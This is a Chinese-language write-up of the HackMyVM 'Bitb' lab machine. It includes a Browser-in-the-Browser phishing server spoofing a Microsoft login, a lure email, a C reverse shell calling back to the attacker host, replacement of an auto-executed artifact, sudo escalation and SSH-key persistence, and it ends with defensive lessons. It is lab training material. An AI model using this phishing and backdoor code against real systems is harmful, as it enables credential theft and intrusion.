跳到主要内容

HackMyVM Bitb 通关记录|Browser-in-the-Browser 钓鱼、制品库供应链替换与 sudo 提权

靶机链接:Bitb


0x01 基本信息

名称IP说明
Kali Linux192.168.1.109攻击机
Bitb192.168.1.248Ubuntu 26.04 (Linux 7.0.0-30-generic),主机名 bitb.hmv / bitb.lan

靶机包含两枚 Flag:用户 Flag(位于 /home/lalike/user.txt)与 Root Flag(位于 /root/root.txt)。


攻击流程

点击展开

攻击链摘要

阶段关键证据 / 操作作用
服务发现25/tcp Postfix、53/tcp DNS、80/tcp Apache 2.4.66,22/tcp 初始 closed确定邮件服务与 Web 服务为主要突破口
Web 侦察dirsearch 默认字典匹配 /artifactory/,仅在默认 vhost 响应定位私有自研制品库入口
线索识别主站提示发信告知登录地址,HTML 注释包含 BitB 窗口拖拽提示锁定 Browser-in-the-Browser 钓鱼攻击向量
凭据收割搭建含 BitB 结构特征页,邮件发送给 [email protected]后台 bot 验证通过,回传 Artifactory 平台凭据
制品逆向从制品库下载 bitb.elf,利用 strings/readelf 静态分析提取核心用户 abidle 的密码 9ToFive_Surfer
供应链攻击利用 Basic 认证 PUT 覆盖 bored_business_yield_engine.elf劫持本地 worker 的自动化下载与执行目标
初始 Shellalbeidle-worker 定时任务以 abidle 身份执行替换后的恶意 ELF成功回连获得 uid=1000(abidle) Shell
Root 提权sudo -l 发现 (ALL : ALL) ALL,复用逆向所得口令直接提权获取 root 权限并读取两枚 Flag,开启 SSH 维持持久访问

0x02 端口扫描与服务枚举

1. 端口全面探测

使用 Nmap 针对全端口与常见服务进行探测:

nmap -Pn -p- -T4 192.168.1.248 -oN nmap_all.txt
nmap -Pn -sV -sC -p 25,53,80 192.168.1.248 -oN nmap_services.txt

扫描结果:

PORT STATE SERVICE VERSION
25/tcp open smtp Postfix smtpd (Host: bitb.hmv, TLS 证书 CN=bitb / SAN DNS:bitb)
53/tcp open domain (TCP/UDP DNS: bitb.hmv, login.bitb.hmv -> 192.168.1.248)
80/tcp open http Apache httpd 2.4.66 (Ubuntu)
关于 SSH 端口状态

对常见 SSH 端口(22, 222, 2022, 2222, 22022)进行扫描,全部返回 closed。这表明系统初始并未运行 SSH 服务,需要完全通过 Web 与邮件链路建立初始立足点。

将靶机域名与对应解析追加至 /etc/hosts

echo "192.168.1.248 bitb.hmv login.bitb.hmv" | sudo tee -a /etc/hosts

0x03 Web 枚举与隐藏应用发现

1. 站点对比与 Tarpit 识别

对发现的两个虚拟主机进行对比测试:

curl -s http://bitb.hmv/ -o main.html
curl -s http://login.bitb.hmv/ -o login.html
  • http://bitb.hmv/:主营所谓的企业盈利引擎“Bored In The Business”,页面为静态营销介绍。
  • http://login.bitb.hmv/:标题为“Gateway Authentication”。对其进行提交测试发现每次请求响应存在 1.5 秒 ~ 3.5 秒的随机延迟,且随机返回 200401403 状态码。

深入排查后证实该登录入口为防爆破的 Tarpit 延时干扰项,目的是消耗扫描器资源,并非实际突破口。

2. 隐藏应用 /artifactory/ 枚举

使用目录扫描工具 dirsearch 对主站发起探测:

dirsearch -u http://bitb.hmv/ -e php,txt,html,bak,zip,json -r -q --full-url

扫描发现关键端点:

[200] 1688B - http://bitb.hmv/artifactory/
关键字典依赖与虚拟主机特性
  1. 字典特性artifactory 路径在绝大多数常见字典(如 raft-large-directoriescommon.txtdirbSecLists 标准目录)中均不存在,仅在 dirsearch 自带的默认字典 /usr/lib/python3/dist-packages/dirsearch/db/dicc.txt(第 3110 行)中包含。
  2. 虚拟主机回落:该自研应用部署在 Apache 默认虚拟主机中。若使用直接 IP http://192.168.1.248/artifactory/ 访问可稳定返回 200 OK,若是严格绑定 Host: bitb.hmv 的部分重置环境可能出现 404,测试时应同时检查 IP 直连与域名访问。

3. 应用资产与泄露梳理

访问 /artifactory/ 呈现自研的“BITB | Artifactory OSS Platform”登录界面。同时探测周边资源:

# 1. 样式表暴露了后台控件类名
curl -s http://192.168.1.248/artifactory/style.css | grep -E "btn-logout|file-list"

# 2. 匿名可读的制品下载历史记录
curl -s http://192.168.1.248/artifactory/.download_history.json

.download_history.json 回显内容:

{
"bored_business_yield_engine.elf": {
"user": "[email protected]",
"time": "2026-09-18 04:15:54"
}
}

下载历史中直接泄露了核心制品名:bored_business_yield_engine.elf,且存在自动化用户 [email protected] 每 5 分钟拉取一次该文件。


0x04 核心线索挖掘与 BitB 钓鱼凭据获取

1. 核心线索溯源

仔细审查主站页面源码与文案,在 Contact 区域发现如下描述:

"Ready to deploy the BITB revenue engine across your corporate storage environments? Reach out to our execution partner to initialize secure connectivity benchmarks. We work closely with Google infrastructure and can collaborate if you operate on the same deployment model. To get started, simply send us an email providing the details of where we should log on."

联系人邮箱为:[email protected]

同时,在 HTML 页面注释中发现明确提示:

<!-- TODO: Fix the BITB window drag latency on Chromium browsers -->

线索高度吻合安全领域的经典攻击手法人称:Browser-in-the-Browser (BitB) 钓鱼技术。业务逻辑明确表示:向 [email protected] 发送邮件告知登录 URL,对方后台机器人会访问该页面并执行登录操作。

2. 机器人校验逻辑实证

从靶机后台服务源码可知,收信由 bitb-bot.service 驱动,执行脚本 /home/lalike/.bot/.bot_user.sh。其核心处理流程如下:

  1. 每 5 秒轮询收件箱;
  2. 正则提取邮件正文中的 IP 直连 URL(必须为 http://IPv4[:PORT]/ 格式,域名不被接受);
  3. 使用 curl 请求目标页面;
  4. 严格校验页面中是否存在 BitB 特征钩子:data-server-urlstealCredentialsbitbWindow
  5. 若未检测到钩子,直接丢弃并不执行模拟交互;若检测到钩子,则向 {data-server-url}/log 发送包含真实凭据的 JSON POST 请求。

3. BitB 钓鱼实验与凭据捕获

在 Kali 上编写钓鱼服务脚本,构造符合 BitB 伪造浏览器弹窗特征的页面:

bitb_server.py
import http.server
import socketserver
import json

PORT = 8098

class BitBHandler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
print(f"[+] Bot GET landing page: {self.client_address}")
html = f"""<!DOCTYPE html>
<html>
<head><title>Sign In</title></head>
<body>
<div id="bitbWindow" data-server-url="http://192.168.1.109:{PORT}">
<div class="fake-browser-window">
<div class="url-bar">https://login.microsoftonline.com</div>
<form onsubmit="stealCredentials(); return false;">
<input type="text" name="user" id="user">
<input type="password" name="pass" id="pass">
</form>
</div>
</div>
<script>
function stealCredentials() {{
return true;
}}
</script>
</body>
</html>"""
self.send_response(200)
self.send_header("Content-Type", "text/html; charset=utf-8")
self.send_header("Content-Length", str(len(html)))
self.end_headers()
self.wfile.write(html.encode("utf-8"))

def do_POST(self):
length = int(self.headers.get("Content-Length", 0))
data = self.rfile.read(length)
print(f"[+] Received Phished Data:\n{data.decode('utf-8', errors='ignore')}")
self.send_response(200)
self.end_headers()
self.wfile.write(b"OK")

with socketserver.TCPServer(("", PORT), BitBHandler) as httpd:
print(f"[*] Serving BitB Phishing Page on port {PORT}...")
httpd.serve_forever()

启动监听后,使用 swaks 向 Postfix 投递诱饵邮件:

swaks --to [email protected] \
--from "[email protected]" \
--server 192.168.1.248:25 \
--header "Subject: Action Required: Re-authenticate Corporate Infrastructure" \
--body "Dear Luke, please log on to verify your session: http://192.168.1.109:8098/"

服务端日志成功捕获机器人回传的明文凭据:

[+] Bot GET landing page: ('192.168.1.248', 42414)
[+] Received Phished Data:
{
"username": "[email protected]",
"password": "BrowserInTheBrowserAttack",
"timestamp": "2026-09-18T04:18:52Z"
}

0x05 Artifactory 制品库利用与恶意 ELF 替换

1. 登录制品库 Dashboard

使用收割到的凭据登录 /artifactory/

curl -s -i -c cookie.txt -X POST http://192.168.1.248/artifactory/ \
--data-urlencode "[email protected]" \
--data-urlencode "password=BrowserInTheBrowserAttack" \
--data-urlencode "login_btn=1"
# 返回 HTTP/1.1 302 Found,重定向至 index.php

使用 Cookie 访问 Dashboard,页面直接显示:

  1. 上传接口规范
    http://192.168.1.248/artifactory/libs-release-local/[filename].elf
  2. 制品仓库列表
    • bitb.elf(15.95 KB)
    • bored_business_yield_engine.elf(15.59 KB)

2. 逆向分析 bitb.elf 提取系统口令

直接下载公开可读的 bitb.elf 并提取其符号与字符串:

curl -s -O http://192.168.1.248/artifactory/libs-release-local/bitb.elf
strings bitb.elf | grep -nE "abidle|9ToFive|CORRECT|ping"

分析输出:

abidle
9ToFive_Surfer
ping -c 2 -W 3 %s > /dev/null 2>&1
CORRECT_PASS
CORRECT_USER

使用 readelf 进一步审查:

readelf -sW bitb.elf | grep -E "CORRECT_USER|CORRECT_PASS"
# 27: OBJECT GLOBAL DEFAULT 25 CORRECT_PASS
# 37: OBJECT GLOBAL DEFAULT 25 CORRECT_USER

程序未剥离符号,硬编码存储了系统用户 abidle 及其密码 9ToFive_Surfer

3. 供应链攻击:覆盖目标二进制文件

根据 .download_history.json 与后台服务机制,靶机内部用户以 abidle 身份每 5 分钟定时拉取并执行 bored_business_yield_engine.elf

在 Kali 上编写反弹 Shell 源码:

revshell.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main() {
int s = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in a;
memset(&a, 0, sizeof(a));
a.sin_family = AF_INET;
a.sin_port = htons(4444);
a.sin_addr.s_addr = inet_addr("192.168.1.109");
if (connect(s, (struct sockaddr*)&a, sizeof(a)) == 0) {
dup2(s, 0);
dup2(s, 1);
dup2(s, 2);
execl("/bin/bash", "bash", "-i", NULL);
execl("/bin/sh", "sh", "-i", NULL);
}
return 0;
}

静态编译二进制文件:

gcc -static -O2 -o rev.elf revshell.c

利用 Artifactory 的 HTTP PUT 接口,结合 Basic 认证进行同名覆盖:

curl -i -u '[email protected]:BrowserInTheBrowserAttack' \
-X PUT --data-binary @rev.elf \
http://192.168.1.248/artifactory/libs-release-local/bored_business_yield_engine.elf

服务器响应:

HTTP/1.1 201 Created
Content-Type: application/json

{"status":"success","repo":"libs-release-local","file":"bored_business_yield_engine.elf","user":"[email protected]"}

0x06 自动化 Worker 执行与 Shell 捕获

1. 定时任务逻辑与接收

靶机内部由 albeidle-worker.service/home/abidle/.task/download_worker.sh)驱动循环:

# worker 循环逻辑
TARGET_FILE="bored_business_yield_engine.elf"
while true; do
if [ -f "/var/www/html/artifactory/repository-storage/$TARGET_FILE" ]; then
curl -s -A "AlbertBot" "$REPO_URL/$TARGET_FILE" > "$DOWNLOAD_DIR/$TARGET_FILE"
chmod +x "$DOWNLOAD_DIR/$TARGET_FILE"
"$DOWNLOAD_DIR/$TARGET_FILE" &
sleep 2
fi
sleep 300
done

在 Kali 上开启监听端口 4444

nc -lvnp 4444

等待不超过 5 分钟,Worker 自动拉取并执行恶意二进制,成功捕获反弹 Shell:

Connection from 192.168.1.248:49382
abidle@bitb:~$ id
uid=1000(abidle) gid=1000(abidle) groups=1000(abidle),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),101(lxd)

0x07 提权 Root 与 Flag 获取

1. 检查 Sudo 权限

利用逆向 bitb.elf 获得的密码 9ToFive_Surfer 校验 Sudo 配置:

echo '9ToFive_Surfer' | sudo -S -l

回显权限详情:

User abidle may run the following commands on bitb:
(ALL : ALL) ALL

abidle 拥有无限制的 ALL 指令权限,直接切换为 root 用户:

echo '9ToFive_Surfer' | sudo -S id
# uid=0(root) gid=0(root) groups=0(root)

2. 读取 User Flag 与 Root Flag

# 1. 查看 User Flag(带有 BitB 假窗口 ASCII 艺术)
sudo cat /home/lalike/user.txt
+--------------------------------------------------------------+
| [<-] [->] [R] https://bored-in-the-business.hmv |
| BORED IN THE BUSINESS CORP. [ _ ] [ X ] |
| Status: Extremely Bored... |
| |
| +-------------------------------------------------+ |
| | https://login-portal.hmv [X] | |
| +-------------------------------------------------+ |
| | | |
| | SESSION EXPIRED - PLEASE LOGIN | |
| | | |
| | Username: [ sir-bore-a-lot ] | |
| | Password: [ ****************** ] | |
| | | |
| | [ B O R E D ] | |
| | | |
| +-------------------------------------------------+ |
| |
| [ Tip of the day: Don't click things when bored. ] |
+--------------------------------------------------------------+

Flag: HMV{I-used-a-bitb-attack-to-get-credentials}
# 2. 查看 Root Flag
sudo cat /root/root.txt | tail -2
Root Flag: HMV{You_h4c3d_BITB!_congratsz}

0x08 开启并验证 SSH 远程登录

为便于长期维护与测试复现,在获取 root 权限后开启目标靶机默认禁用的 OpenSSH 服务,并将攻击机公钥注入各账户:

# 1. 启动并设置开机自启 ssh 服务
sudo systemctl enable --now ssh

# 2. 注入公钥至 root 与 abidle 目录
PUB_KEY="ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP9DIhg/xplLBf828veN+FuLBQgUahL/dS2zxPH3gPdM kali@N3060"
sudo bash -c "mkdir -p /root/.ssh && echo '$PUB_KEY' >> /root/.ssh/authorized_keys && chmod 700 /root/.ssh && chmod 600 /root/.ssh/authorized_keys"
mkdir -p /home/abidle/.ssh && echo "$PUB_KEY" >> /home/abidle/.ssh/authorized_keys && chmod 700 /home/abidle/.ssh && chmod 600 /home/abidle/.ssh/authorized_keys

外部 SSH 连通性测试:

ssh -i sshkey [email protected] 'id; hostname; uptime'
# uid=0(root) gid=0(root) groups=0(root)
# bitb
# 04:21:21 up 35 min, 1 user, load average: 1.01, 0.25, 0.08

0x09 靶机干扰项与防御机制复盘

1. login.bitb.hmv Tarpit 源码分析

审阅靶机 /var/www/login.bitb.hmv/public_html/index.php 源码:

// Hardcoded unbreakable/fictional credentials for the CTF challenge
if ($username === "[email protected]" && $password === "SuperSecureUnbreakablePassword2026!") {
header("Location: /dashboard.php"); exit();
} else {
usleep(rand(1500000, 3500000)); // 随机 1.5 ~ 3.5 秒延迟
$random_status = array_rand(array(200, 401, 403)); // 伪造随机 HTTP 状态码
$error_message = $messages[array_rand($messages)]; // 随机错误文案
}

其核心设计特点:

  • 随机状态码与延迟:混淆目录与表单爆破工具的结果判断逻辑,有效遏制无脑爆破;
  • 纯幌子逻辑:即使凭据匹配,目标重定向的 /dashboard.php 本身也是 404 页面,证明其为纯粹的攻防演练干扰靶标。

2. 关键防护启示

  1. 邮件业务边界:自动化处理邮件正文 URL 时,必须引入沙箱隔离机制(如隔离网络、无凭据无状态沙箱浏览器),严禁使用生产或办公凭据执行模拟访问;
  2. 制品仓库权限隔离:制品上传接口必须启用严格的 RBAC 权限体系与签名防篡改校验,避免仅凭单一 HTTP Basic 口令即可覆盖生产流水线二进制文件;
  3. 二进制资产防护:内部编译交付的 ELF 文件必须执行 strip 去除符号表,严禁明文硬编码任何用户凭据与敏感系统命令;
  4. 最小特权原则:定时拉取第三方或共享制品的 worker 服务应遵循低特权账户隔离,禁止为执行外部代码的账号赋予无限制的 sudo 权限。